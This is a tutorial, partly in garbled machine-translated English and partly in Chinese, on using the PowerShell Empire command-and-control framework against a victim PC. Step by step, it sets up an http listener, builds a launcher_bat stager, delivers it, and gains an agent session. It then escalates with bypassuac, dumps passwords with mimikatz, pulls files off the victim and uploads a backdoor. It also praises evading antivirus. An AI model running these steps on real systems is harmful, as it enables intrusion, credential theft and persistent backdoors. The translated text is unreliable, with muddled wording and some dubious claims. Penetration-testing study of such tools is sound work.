About 0x01
Empire is a frame after penetration attacks. It is a pure PowerShell agents, secure communications with encryption and flexible architecture of additional features. Empire PowerShell method performed with the agent without the need of PowerShell.exe. It can quickly be modular late utilized, covering a wide range, from the keyboard to the recorder mimikatz like. This framework is a combination of PowerShell Empire and Python Empire projects; this makes it user-friendly and convenient. PowerShell Empire came out in 2015, Python Empire came out in 2016. It is similar to Metasploit and Meterpreter. But because it is a command and control tool that allows you to more effectively control the PC.
PowerShell provides a wealth of offensive advantage, including all further access, applock whitelist .NET as well as direct access to the Win32. It is also constructing a malicious binary file in memory. It provides C2 feature that allows you to implant the second phase after the first phase. It can also be used for transverse movement. Compared with other frameworks developed rapidly, and very convenient. In addition, because it does not require PowerShell.exe, which allows you to bypass anti-virus. Therefore, it is best to use PowerShell Empire.
0x02 function
listenter: listener is a listener process connection from our attacking machine. This helps Empire will loot back to the attacker's computer.
Stager: stager is a piece of code that allows us to run malicious code through a proxy on an infected host.
proxy: a proxy is a program that is used to maintain the connection between the computer and the infected host subject.
module: We perform malicious commands that you can collect to upgrade our credentials and permissions.
0x03 Installation
Use the following command to download it:
After the download is complete and complete, installed in accordance with the steps given below:
cd Empire/
cd setup/
./install.sh
After installation is complete, move back to the Empire directory and use ./empire run empire
Now using the help command, because it opens up all the basic options initially required.
(Empire) > help
Commands
========
agents Jump to the Agents menu. # Jump to Agent menu
creds Add / display credentials to / from the database. # Add / show credentials from the database
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent. # with a particular agent interaction
list Lists active agents or listeners. # List active agent or listener
listeners Interact with active listeners. # interactive session with the active
load Loads Empire modules from a non-standard folder. # clamp load module from the non-standard file Empire
plugin Load a plugin file to extend Empire. # load the plug-in files to extend the Empire
plugins List all available and active plugins. # lists all available plugins and activities
preobfuscate Preobfuscate PowerShell module_source files # pre confusion PowerShell module source file
reload Reload one (or all) Empire modules. # Empire reloading the one or more modules
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
# Generate CSV reports and log files
reset Reset a global option (eg IP whitelists). # a global reset option
resource Read and execute a list of Empire commands from a file. # read from the file and execute the command list Empire
searchmodule Search Empire module names / descriptions. # Empire search module name / description
set Set a global option (eg IP whitelists). # Set Global Options
show Show a global option (eg IP whitelists). # show global options
usemodule Use an Empire module. # module using a Empire
usestager Use an Empire stager. # Empire using a snippet
According to the workflow, first of all, we must create a listener on the local machine.
View active listeners listeners
Into the listener interface Enter the following command to view all the available listeners
(Empire: listeners) > uselistener <tab> <tab>
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
The most popular and most commonly used is http listener
uselistener http
This command creates a listener on the local port 80. If port 80 is already occupied by services such as Apache, be sure to stop the service, because the listener is http listener can only work on port 80.
Review, listeners can use the command
(Empire: listeners) > <tab><tab>
agents delete enable info list resource
back disable exit kill listeners uselistener
creds edit help launcher main usestager
If you want to delete an active listener, use the kill command
(Empire: listeners) > kill http
[!] Killing listener 'http'
Now you should see all the options provided in this listener type:
info
As shown in the figure, you can use various settings to modify or customize the listener. We can try to change the name of our listeners, so that will help you remember all active listener;
set Name test
Name above command will change from http listener for the test.
Typically, this listener will automatically take up the local host IP, but just in case, you can use the following command to set the IP:
set Host 192.168.88.152
execute
The above command will execute listener. Then go back and listeners with PowerShell
Now enter 'back' to return to the interface from the listener, so that we can perform our module. Use the following command to view all the modules Empire provided:
(Empire: listeners/http) > back
(Empire: listeners) > usestager <tab> <tab>
正如图中所示，Windows和IOS都有很多模块，还有一些可以在任何平台上使用的多模块。以下实验，我们将使用launcher_bat创建恶意软件并利用受害者的PC。
usestager windows/launcher_bat
然后再次键入“info”以查看漏洞利用所需的所有设置。经过检查，发现我们只需要提供listener。
set Listener test
execute
在设置侦听器测试并创建/tmp/launcher.bat之后，上述两个命令将执行我们的漏洞利用。使用python服务器在受害者的PC中执行此文件。
python -m SimpleHTTPServer 8080
当文件将执行时，您将有一个会话。要检查您的会话类型：
agents
使用上面的命令，您可以看到已激活会话。您可以更改会话的名称，因为默认情况下给出的名称非常复杂且难以记住。为此，请键入：
rename P4BNYW6D pc01
使用以下命令访问会话：
interact pc01
获得对会话的访问权限后，请尝试使用以下命令获取管理会话：
bypassuac http
执行bypassuac命令后，将打开另一个会话。键入以下内容重命名该会话：
rename HE3K45LN admin01
interact with admin01 now.
interact admin01
<tab> <tab>帮助我们查看shell中的所有选项。有几种选择对后期开发很有帮助。如信息，工作，列表等，如图所示。
信息： 所有基本细节，如IP，随机数，抖动，完整性等。
现在，如果使用'help'命令，您将能够看到所有可执行命令。
让我们尝试运行 mimikatz 来获取用户的密码。由于 mimikatz 不能在普通的guest用户shell上运行，并且只能在admin shell上运行; 这也证明我们必须实现管理员访问权限，以便我们可以使用mimikatz。
Hmmmm！用户的密码为“123456”。
creds
上面的命令也会在明文及其哈希中转储任何用户的凭据或密码。
另一个重要的命令是 shell 命令。
要使用受害者的shell运行正确的Microsoft Windows命令，我们使用此功能。
例如：一个这样的窗口的cmd only命令是 netstat
shell netstat -ano
正如预期的那样，上面的命令向我们展示了机器上当前工作的所有端口！
现在，因为windows中的默认shell目录是“ C：/ windows / system32 ”; 让我们尝试移动到另一个目录并尝试从那里下载一些文件，我们也可以在该位置上传一些内容，例如，我们可以上传后门！现在，使用以下命令：
shell cd C:\Users\lihui03\Desktop
shell dir
download msf.pdf
上面的命令将从窗口的桌面下载一个名为msf.pdf的图像到“帝国的下载目录”
在这里我们可以上传任何后门，在上面的命令的帮助下，我们从Kali的桌面上传一个后门到受害者的桌面，我们甚至可以调用这个文件，因为我们有shell访问权限！
upload /root/shell.hta
这是下载文件的位置：
查看上传的文件
上面的命令证明我们确实已经上传了shell.hta
之前展示的是帝国的基本演示及其使用的不同术语以及如何使用它们。还有另一个术语，即usemodule。最后，让我们看看如何使用它。
该命令将显示所有可用模块并可供使用，如下图所示：
以下是如何使用usemodule的小型演示。类型：
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
使用上述模块将在受害者的PC上显示一条消息，如下图所示：
目标机器上是这样的！！！
结论
恶意软件以.exe / dll / hta等形式允许攻击者构建任何理想的攻击，因为此框架可以访问Win32。由于其广泛，真实和有效的后漏洞收集，它是一个伟大的工具。最终，目标是在攻击中未被发现并成功，这个工具允许我们这样做。